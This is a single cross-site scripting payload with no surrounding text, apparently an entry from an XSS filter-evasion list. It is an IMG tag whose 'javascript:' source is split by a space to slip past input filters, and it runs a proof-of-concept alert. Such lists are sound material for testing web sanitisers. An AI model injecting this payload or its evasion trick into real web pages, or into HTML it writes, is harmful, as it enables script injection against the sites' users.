<IMG SRC="jav ascript:alert('XSS');">